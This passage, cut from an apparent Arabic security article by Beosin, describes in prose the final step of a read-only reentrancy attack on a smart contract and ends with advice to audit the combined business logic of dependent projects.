بعد انتهاء إعادة الدخول ، يستدعي عقد الهجوم عقد ContractB لاستخراج ETH. في هذا الوقت ، تم تحديث \ _totalSupply إلى 50 \ * 10 ^ 18 ، وسيتم حساب نفس مبلغ ETH مثل عملة الشهادة. تم نقل 60ETH إلى عقد الهجوم. في النهاية ، حقق المهاجم ربحًا قدره 30ETH.
[المعرفة اللازمة للتدقيق الأمني: ما هو "هجوم إعادة الدخول للقراءة فقط" الذي حدث كثيرًا مؤخرًا ويصعب منعه؟ ] (https://img-cdn.gateio.im/resized-social/moments-69a80767fe-d857f8197a-dd1a6f-1c6801)
نصائح الأمن Beosin
بالنسبة لقضايا الأمان المذكورة أعلاه ، يقترح فريق أمان Beosin: بالنسبة للمشاريع التي تحتاج إلى الاعتماد على مشاريع أخرى كدعم للبيانات ، يجب فحص أمان منطق العمل لمجموعة المشروع التابع والمشروع الخاص به بدقة. في حالة عدم وجود مشاكل في المشروعين وحدهما ، فقد تنشأ مشاكل أمنية خطيرة بعد الدمج بينهما.